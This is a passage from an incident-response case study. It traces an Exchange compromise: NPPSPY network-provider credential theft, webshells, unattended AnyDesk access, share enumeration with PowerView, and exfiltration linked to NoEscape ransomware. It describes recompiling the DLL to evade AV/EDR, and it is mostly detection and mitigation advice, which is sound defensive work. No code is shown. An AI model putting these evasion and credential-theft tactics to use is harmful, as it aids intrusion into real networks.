The corresponding event log for this Exchange Web Authentication corroborates our observations about IIS Basic Authentication as the logon attempt is Type 8: network clear text (Figure 15).
The reason I focused on this attack was to explore the new elements it comprised and offer guidance on detection and prevention.
Unfortunately, the dll used in this test is based on the NPPSPY repository but was recompiled to avoid AV/EDR detection with literally no sophistication at all. It did evade endpoint security solutions successfully which says a lot about the power of this technique, even though the threat model is expensive as it requires admin privileges. Note that I am working with the assumption that admin privileges should never give an attacker the ability to roam freely if a proper AV/EDR is in place.
So, if AV/EDRs seem to be blind to it for now, I suggest focusing on the registry changes that enabled this attack. Any attacker will have to announce his network provider along with the DLL. This means that such changes need to be closely monitored. We appreciate that monitoring requires some resource commitment, as shown by the number of registry changes that are made in our customer base, but this is where something like long-tail analysis can weed out false positives. Sysmon and EDRs have telemetry for commands, process execution, and registry changes and can be leveraged for hunting and detections. Windows Event Logs can be leveraged as well but require explicit auditing.
For more information read the following article:
We want to prevent credential collection of users that log into the Exchange Server (or any Windows host), including those of users authenticating via OWA/ECP.
For users of Windows 11, Microsoft has released the 2H22 Security Baseline which includes a new setting “Enable MPR notifications for the system”. As described above, Microsoft recommends setting it to ‘disabled’ to prevent password disclosure to providers (exceptions apply).
This is a sniper fix – useful if you don’t use providers.
If you don’t use Windows 11, one way is to use the recommended Protected Users Group in Active Directory. I tested this against the technique and can confirm that it inhibits the MPR notifications (the mpnotify.exe process is not spawned after login). Unfortunately, I cannot explain the internals of it and can only deduce from what Microsoft says about “Protected Users Group” that cleartext credentials die too early (Figure 16).
There’s no such thing as a silver bullet though. So, keep in mind that there are side effects to adding users to this group.
This recommendation applies to LSASS credential dumping as well since they are no longer cached.
Regarding the credentials stolen from IIS Basic Authentication by using Outlook on the Web. It is enabled by default and is necessary for OWA/ECP to work (Figure 17).
Disclaimer: I am no Exchange administrator
Obviously, I am not an Exchange administrator. But like many incident responders, I can consume Microsoft documentation. So, II tried disabling Basic Authentication and enabling the other types of authentication but this broke functionality. I did not spend time digging into alternative ways to determine if I could make it work or not.
However, the Microsoft recommendation for on-prem non-hybrid environments is to move from Basic Authentication to Modern Authentication with ADFS for Outlook on the Web (OWA/ECP). This would also allow the usage of stronger authentication features like enabling MFA.
If you do this, be sure not to use Basic Auth in ADFS as it would only shift the problem to another server.
Eight months after the first Exchange compromise, we observed interactions with the webshells that were followed by Anydesk installation in unattended access mode so that user approval would not be required (Figure 18).
From the Exchange server, the threat actor then used Nmap/Zenmap to scan the network and powershell, and then to enumerate the shares in the domain using Invoker-ShareFinderThreaded from PowerView.
For more information:
Note that this is not the first threat actor to use such a technique; it has been widely used not only for host discovery but also to discover the location of company data.
The threat actor then checked who was logged into a server before RDPing into it with the domain admin account (remember, he successfully stole the clear text password via the malicious NPPSPY dll and wrote it on disk). Forensic analysis on the hosts where lateral movement was performed shows that the threat actor identified data and inspected some of it manually by opening some files. The restored environment would not show us how data exfiltration was performed exactly but the firewall logs did show significant outgoing traffic towards IPs that belonged to the mega.co domain.
Given the large delay (8 months) between the first evidence of NPPSPY usage and NoEscape active engagement with the target, it is unlikely that the ransomware actors are behind the exploitation attempts cited so far. We believe NoEscape bought access in the form of cleartext passwords and webshell locations from Initial Access Brokers.
If you are curious about the economics, read https://www.kelacyber.com/the-secret-life-of-an-initial-access-broker/
In this Incident Response Cliff Face tale we investigated a ransomware operator that managed to act on a victim’s environment quickly and efficiently, but whose privileged access was facilitated by a much earlier compromise.
Here are some simple things you can do to prevent this chain of events happening in your organization:
Click here to download the full case study, including the 5 recommendations.